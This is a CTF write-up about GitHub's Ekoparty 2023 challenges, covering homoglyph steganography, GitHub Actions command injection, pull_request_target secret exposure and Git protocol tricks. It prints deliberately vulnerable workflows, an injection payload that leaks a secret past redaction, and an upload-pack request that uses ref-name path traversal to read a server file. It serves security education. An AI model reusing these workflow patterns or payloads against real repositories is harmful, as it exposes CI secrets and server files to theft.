GitHub’s CTF Challenges Return to Ekoparty 2023

GitHub returned as a sponsor of Ekoparty 2023’s Capture The Flag (CTF) competition, with its security team crafting challenges centered on GitHub and Git functionality. This year’s “retro” theme placed players in the fictional OctoHigh School circa 1994. The challenges were designed to educate participants about common security pitfalls when working with these tools.

Challenge 1: Entrypoint – Steganography (Easy)

The first challenge served as the gateway to three others. Players were directed to a private repository where they could sign up to spawn challenges. A comment in the sign-up instructions hinted at a hidden flag within the repository itself.

The flag was embedded in the repository’s README.md, using homoglyph characters outside the standard a-zA-Z0-9 range. These lookalike characters are notoriously difficult to spot manually, so a programmatic approach was the intended path. One example solution used Python to scan the file for non-ASCII characters:

string = <README_CONTENTS_HERE>
regex_pattern = r'[a-zA-Z0-9-,.;!\' ]'
non_matching_characters = [char for char in string if not re.match(regex_pattern, char)]
non_matching_string = ''.join(non_matching_characters)
print(non_matching_string)
> τʜêʜᎥժժěɴϜᏞɑɢᎥᏚᎻėᚱě

Since the flag submission system didn’t accept these special characters, players had to convert them to their lowercase English equivalents before submitting.

Challenge 2: Snarky Comments – Code Injection (Easy)

This challenge highlighted a real-world vulnerability class in GitHub Actions workflows: parsing untrusted input from issue bodies. Players created an issue using a template to review a teacher, and the submitted text was subsequently parsed by an automated workflow.

name: Parse review of teacher

on:
  issues:
    types: [opened, edited]

jobs:
  parse-review:
    runs-on: ubuntu-latest
    steps:
      - name: Extract Teacher name and review from issue body
        id: extract-review
        env: 
          db_pass: ${{ secrets.FLAG }} # Do we still need this to write to the DB?
        run: |
          TEACHER=$(echo '${{ github.event.issue.body }}' | grep -oP 'Teacher:.*$')
          REVIEW=$(echo '${{ github.event.issue.body }}' | grep -vP 'Teacher:.*$')
          echo "::set-output name=teacher::$TEACHER"
          echo "::set-output name=review::$REVIEW"
      - name: Comment on issue
        uses: actions/github-script@v5
        with:
          github-token: ${{secrets.GITHUB_TOKEN}}
          script: |
            const issueComment = {
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: ${{ github.event.issue.number }},
              body: `Thank you for reviewing ${'{{ steps.extract-review.outputs.teacher }}'}! Your review was: 
              ${'{{ steps.extract-review.outputs.review }}'}`
            };
            github.rest.issues.createComment(issueComment);

The flaw lay in the workflow evaluating raw issue content for the TEACHER and REVIEW fields. This opened the door to arbitrary code execution. The simplest fix involved injecting $(echo $db_pass | rev) to print the flag in reverse, bypassing GitHub’s automatic secret redaction in workflow output. Other players used reverse shells, sent the variable’s contents to external listeners, or devised similar workarounds.

Challenge 3: Fork & Knife – Web (Easy)

This challenge demonstrated the risks of using the pull_request_target trigger in GitHub Actions. Players had to fork a repository and submit a pull request with a working script that passed validation against an unknown environment variable—simulating a “final exam” scenario.

Brute-forcing the correct output was impractical due to GitHub’s rate limits. Instead, the intended vulnerability was that a workflow running on pull_request_target can access secrets from the target repository, even when the code being executed originates from a fork without secret access.

on:
  pull_request_target

jobs:
  build:
    name: Grade the test
    runs-on: ubuntu-latest
    steps:

    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

    - name: Run build & tests
      id: build_and_test
      env: 
        EXPECTED_OUTPUT: ${{ secrets.FLAG }}
      run: |
        /bin/bash ./build.sh > output.txt && /bin/bash ./test.sh

    - uses: actions/github-script@v3
      with:
        github-token: ${{secrets.GITHUB_TOKEN}}
        script: |
          github.issues.createComment({
            issue_number: context.issue.number,
            owner: context.repo.owner,
            repo: context.repo.repo,
            body: "👋 Your code looks great, good job! You've passed the exam!"
          })

While there was no direct code injection vector, the environment variable EXPECTED_OUTPUT was accessible when the workflow executed. Since the workflow ran the fork’s build.sh, players could modify that file freely. Typical solutions involved echoing the variable to stderr in a redaction-proof format, sending its value to a remote listener, or opening a reverse shell.

Challenge 4: Git Fundamentals – Forensics (Easy)

The next pair of challenges focused on the internals of Git repositories. Players received SSH credentials to a remote server—git/ekoparty-2023-ctf—which turned out to be running a git-shell environment. After listing available repositories, they would find one named git.git and clone it locally.

Upon closer inspection, this repository was nearly identical to the upstream git/git repository. The crucial difference: an extra tag. Players could spot it with git tag -l, or by configuring the challenge repo as an alternative remote and comparing tag lists:

git clone https://github.com/git/git.git
cd git/
git remote add ekoparty [email protected]:~/git.git
git fetch ekoparty --tags

Checking out the v2.34.9 tag revealed a flag1.txt file. Conveniently, this tag also contained a Dockerfile that served as a hint for the next challenge.

Challenge 5: Git Exploitation – Forensics (Medium)

The Dockerfile from the first Git challenge pointed to another repository on the server, git-local:

git clone [email protected]:~/git-local

This Dockerfile revealed that an additional tag (secondflag) had been created and then deleted from the git-local repository. The commit’s hash was preserved at ~/flagref, and the server had allowanysha1inwant enabled—meaning the commit could still be fetched if its SHA-1 was known.

Further server-side modifications allowed path traversal in ref names and added a want-ref capability to the v0 protocol (normally only available in v2). This enabled reading files like ~/flagref directly:

echo "001fwant-ref refs/../../flagref0000" | ssh [email protected] "git-upload-pack '~/git.git'"

This returned the hash in an error message:

00000049ERR upload-pack: not our ref 576d2a3b4a9ef71499faeab83ef0ad141ce44496

With the commit hash in hand, players could fetch the lost commit:

cd git-local
git fetch origin 576d2a3b4a9ef71499faeab83ef0ad141ce44496
git checkout 576d2a3b4a9ef71499faeab83ef0ad141ce44496

Checking out that commit exposed the final flag2.txt file, completing the challenge set.